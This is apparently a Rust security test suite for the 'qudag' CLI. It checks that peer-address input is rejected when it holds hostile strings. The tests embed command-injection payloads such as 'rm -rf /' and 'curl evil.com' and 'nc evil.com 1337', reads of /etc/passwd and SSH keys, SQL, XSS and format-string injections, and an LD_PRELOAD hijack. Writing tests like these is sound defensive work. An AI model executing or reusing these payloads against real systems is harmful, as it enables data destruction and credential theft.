use assert_cmd::Command;
use predicates::prelude::*;
use std::time::Duration;
#[test]
fn test_address_injection_attacks() {
let malicious_addresses = vec![
"127.0.0.1:8000; rm -rf /",
"127.0.0.1:8000 && curl evil.com",
"127.0.0.1:8000 | nc evil.com 1337",
"127.0.0.1:8000`curl evil.com`",
"127.0.0.1:8000$(curl evil.com)",
"../../etc/passwd:8000",
"../../../root/.ssh/id_rsa:8000",
"127.0.0.1:%s%s%s%s",
"127.0.0.1:%n%n%n%n",
&"A".repeat(10000),
&format!("127.0.0.1:{}", "9".repeat(1000)),
"127.0.0.1:8000'; DROP TABLE peers; --",
"127.0.0.1:8000' OR '1'='1",
"<script>alert('xss')</script>:8000",
"javascript:alert('xss'):8000",
"127.0.0.1:8000\0evil.com",
"127.0.0.1\0:8000",
"127.0.0.1:8000", "127․0․0․1:8000",
"127.0.0.1:8000\r\n",
"127.0.0.1:8000\x00\x01\x02",
];
for malicious_addr in malicious_addresses {
Command::cargo_bin("qudag")
.unwrap()
.args(&["peer", "add", malicious_addr])
.assert()
.failure()
.stderr(predicate::str::contains("Error: Invalid peer address format"));
}
}
#[test]
fn test_resource_exhaustion_protection() {
let huge_address = "a".repeat(1_000_000) + ":8000";
Command::cargo_bin("qudag")
.unwrap()
.args(&["peer", "add", &huge_address])
.timeout(Duration::from_secs(5)) .assert()
.failure()
.stderr(predicate::str::contains("Error: Invalid peer address format"));
}
#[test]
fn test_malicious_domain_validation() {
let malicious_domains = vec![
"еxample.com:8000", "gоogle.com:8000",
"xn--e1afmkfd.xn--p1ai:8000",
"evil.example.com.attacker.com:8000",
"google.com.evil.com:8000",
&format!("{}.com:8000", "a.".repeat(100)),
"example.evil:8000",
"example.test123:8000",
];
for domain in malicious_domains {
let mut cmd = Command::cargo_bin("qudag").unwrap();
cmd.args(&["peer", "add", domain])
.assert()
.failure();
}
}
#[test]
fn test_dns_rebinding_protection() {
let rebinding_addresses = vec![
"10.0.0.1:8000",
"172.16.0.1:8000",
"192.168.1.1:8000",
"127.0.0.1:8000",
"[::1]:8000",
"[fc00::1]:8000",
"[fd00::1]:8000",
"localhost:8000",
"0.0.0.0:8000",
];
for address in rebinding_addresses {
let mut cmd = Command::cargo_bin("qudag").unwrap();
let result = cmd.args(&["peer", "add", address, "--allow-private"])
.output()
.unwrap();
let stderr = String::from_utf8_lossy(&result.stderr);
if !stderr.contains("--allow-private") {
assert!(
stderr.contains("Warning: Private address") || result.status.success(),
"Should warn about private address or succeed with flag"
);
}
}
}
#[test]
fn test_rate_limiting() {
for i in 0..100 {
let address = format!("192.168.1.{}:8000", i);
let mut cmd = Command::cargo_bin("qudag").unwrap();
let output = cmd.args(&["peer", "add", &address])
.output()
.unwrap();
let stderr = String::from_utf8_lossy(&output.stderr);
if stderr.contains("rate limit") || stderr.contains("too many requests") {
return;
}
}
}
#[test]
fn test_timing_attack_protection() {
use std::time::Instant;
let valid_address = "example.com:8000";
let invalid_address = "invalid-address-format";
let start = Instant::now();
let mut cmd = Command::cargo_bin("qudag").unwrap();
cmd.args(&["peer", "add", valid_address])
.output()
.unwrap();
let valid_time = start.elapsed();
let start = Instant::now();
let mut cmd = Command::cargo_bin("qudag").unwrap();
cmd.args(&["peer", "add", invalid_address])
.output()
.unwrap();
let invalid_time = start.elapsed();
let ratio = if valid_time > invalid_time {
valid_time.as_nanos() as f64 / invalid_time.as_nanos() as f64
} else {
invalid_time.as_nanos() as f64 / valid_time.as_nanos() as f64
};
assert!(ratio < 10.0, "Timing difference too large: {:.2}x", ratio);
}
#[test]
fn test_input_sanitization() {
let test_inputs = vec![
"\x1b[31mred\x1b[0m:8000",
"\x1b]0;evil title\x07:8000",
"\x1b[2J\x1b[H:8000", "\x1b[?25l:8000",
"test\x08\x08\x08\x08evil:8000",
"caf\xc3\xa9.com:8000", "test\xff\xfe:8000", ];
for input in test_inputs {
Command::cargo_bin("qudag")
.unwrap()
.args(&["peer", "add", input])
.assert()
.failure();
}
}
#[test]
fn test_resource_limits() {
use std::process::{Command as StdCommand, Stdio};
use std::thread;
let handles: Vec<_> = (0..50).map(|i| {
thread::spawn(move || {
let address = format!("192.168.1.{}:8000", i);
let output = StdCommand::new("cargo")
.args(&["run", "--bin", "qudag", "--", "peer", "add", &address])
.stdout(Stdio::null())
.stderr(Stdio::piped())
.output()
.expect("Failed to execute command");
output.status.success()
})
}).collect();
let results: Vec<bool> = handles.into_iter()
.map(|h| h.join().unwrap())
.collect();
let success_count = results.iter().filter(|&&x| x).count();
assert!(success_count < 50, "Should have some failures due to resource limits");
}
#[test]
fn test_onion_security() {
let onion_addresses = vec![
"facebookwkhpilnemxj7asaniu7vnjjbiltxjqhye3mhbshg7kx5tfyd.onion:443",
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.onion:8000",
];
for address in onion_addresses {
Command::cargo_bin("qudag")
.unwrap()
.args(&["peer", "add", address])
.assert();
}
}
#[test]
fn test_amplification_protection() {
let small_input = "a.b:1";
let output = Command::cargo_bin("qudag")
.unwrap()
.args(&["peer", "add", small_input])
.output()
.unwrap();
let total_output = output.stdout.len() + output.stderr.len();
assert!(total_output < 10_000, "Output too large for small input: {} bytes", total_output);
}
#[test]
fn test_env_var_injection() {
Command::cargo_bin("qudag")
.unwrap()
.env("QUDAG_PEER", "evil.com:8000")
.env("PATH", "/tmp/evil:/usr/bin") .env("LD_PRELOAD", "/tmp/evil.so") .args(&["peer", "add", "192.168.1.1:8000"])
.assert();
}
#[test]
fn test_config_injection() {
use tempfile::NamedTempFile;
let config_file = NamedTempFile::new().unwrap();
std::fs::write(config_file.path(), r#"
[network]
max_peers = 999999
peer_timeout = 0
[peers]
bootstrap = [
"evil.com:8000",
"malicious.onion:8000"
]
# Try to inject shell commands
command = "rm -rf /"
"#).unwrap();
Command::cargo_bin("qudag")
.unwrap()
.env("QUDAG_CONFIG", config_file.path().to_str().unwrap())
.args(&["peer", "list"])
.assert()
.success(); }